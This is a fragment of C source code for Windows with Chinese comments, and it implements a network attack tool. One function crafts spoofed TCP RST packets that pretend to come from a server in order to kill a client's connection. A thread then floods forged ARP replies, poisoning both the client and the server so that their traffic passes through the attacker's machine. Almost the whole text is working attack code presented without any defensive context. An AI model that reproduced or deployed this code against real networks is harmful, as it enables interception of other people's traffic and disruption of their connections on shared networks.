{
//检查当前指向想控制的连接的信息的指针是否为空
if(!g_pCurrCtrlConn) __leave;
//allocate memory for rst packet
pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
if(!pTcpPacket)
{
printf("malloc error:%d\n", GetLastError());
__leave;
}
//fill ethernet head
memcpy(pTcpPacket->ehhdr.DestMAC, g_szClientSideMAC, 6);
memcpy(pTcpPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
pTcpPacket->ehhdr.EthernetType = htons(EPT_IP);
//fil ip head
pTcpPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
pTcpPacket->iphdr.tos = 0;
pTcpPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
pTcpPacket->iphdr.ident = 1;
pTcpPacket->iphdr.frag_and_flags = 0;
pTcpPacket->iphdr.ttl = 128;
pTcpPacket->iphdr.proto = IPPROTO_TCP;
pTcpPacket->iphdr.checksum = 0;
pTcpPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwServerIP;//源IP地址,伪装成服务器的
pTcpPacket->iphdr.destIP = g_pCurrCtrlConn->dwClientIP;//接收此rst包的ip地址
//fill tcp head
pTcpPacket->tcphdr.th_sport = g_pCurrCtrlConn->uServerPort;//源端口号,伪装成服务器的端口
pTcpPacket->tcphdr.th_dport = g_pCurrCtrlConn->uClientPort;//接收此rst包的端口
pTcpPacket->tcphdr.th_seq = seq;//SYN
pTcpPacket->tcphdr.th_ack = ack;//ACK
pTcpPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4<<4|0);
pTcpPacket->tcphdr.th_flag = 4;//RST flag
pTcpPacket->tcphdr.th_win = 0;
pTcpPacket->tcphdr.th_urp = 0;
pTcpPacket->tcphdr.th_sum = 0;
//fill tcp psd head
psdhdr.saddr = pTcpPacket->iphdr.sourceIP;
psdhdr.daddr = pTcpPacket->iphdr.destIP;
psdhdr.mbz = 0;
psdhdr.ptcl = IPPROTO_TCP;
psdhdr.tcpl = htons(sizeof(TCPHDR));
//calculate tcp checksum
memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
memcpy(szBuff + sizeof(PSDHDR), &pTcpPacket->tcphdr, sizeof(TCPHDR));
pTcpPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
//calculate IP checksum
pTcpPacket->iphdr.checksum = checksum((USHORT *)&pTcpPacket->iphdr, sizeof(IPHDR));
//fill send buffer
memset(g_lpSendPacket->Buffer, 0, 1514);
memcpy(g_lpSendPacket->Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
{
printf("Error sending the rst packets!\n");
__leave;
}
else printf("Send RST packet ok!\n");
bRet = TRUE;
}
__finally
{
if(pTcpPacket) free(pTcpPacket);
}
return bRet;
}

//
//功能:计算校验和
//
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}

//
//功能:实施ARP欺骗
//1 告诉ServerSide,ClientSide的mac是ownmac
//2 告诉ClientSide,ServerSide的mac是ownmac
//
DWORD WINAPI ArpSpoofThread(LPVOID lpType)
{
int iType = *(int *)lpType;
ARPPACKET ArpPacket;
LPPACKET lpArpPacket;
char szArpBuff[60];

switch(iType)
{
case 1:
memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
ArpPacket.arphdr.DestIP = g_ServerSideIP;
ArpPacket.arphdr.SourceIP = g_ClientSideIP;
break;
case 2:
memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
ArpPacket.arphdr.DestIP = g_ClientSideIP;
ArpPacket.arphdr.SourceIP = g_ServerSideIP;
break;
default:
return 0;
}
//ethernet head
memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
//arp head
memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
ArpPacket.arphdr.HrdAddrlen = 6;
ArpPacket.arphdr.ProAddrLen = 4;
ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
ArpPacket.arphdr.ProType = htons(EPT_IP);
ArpPacket.arphdr.op = htons(2);//arp reply

lpArpPacket = PacketAllocatePacket();
if(lpArpPacket == NULL)
{
printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
return 0;
}
memset(szArpBuff, 0, sizeof(szArpBuff));
memcpy(szArpBuff, (char *)&ArpPacket, sizeof(ARPPACKET));
PacketInitPacket(lpArpPacket, szArpBuff, 60);
//send arp packet
while(1)
{
if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
{
printf("Error sending the arp spoof packets!\n");
return 0;
}
Sleep(1000);
}
return 0;
}

//
//功能:输入IP取得对应的MAC地址
//
BOOL GetMACAddr(DWORD DestIP, char *pMAC)
{
DWORD dwRet;
ULONG ulLen = 6, pulMac[2];
dwRet = SendARP(DestIP, 0, pulMac, &ulLen);
if(dwRet == NO_ERROR)
{
memcpy(pMAC, pulMac, 6);
return TRUE;
}
else return FALSE;
}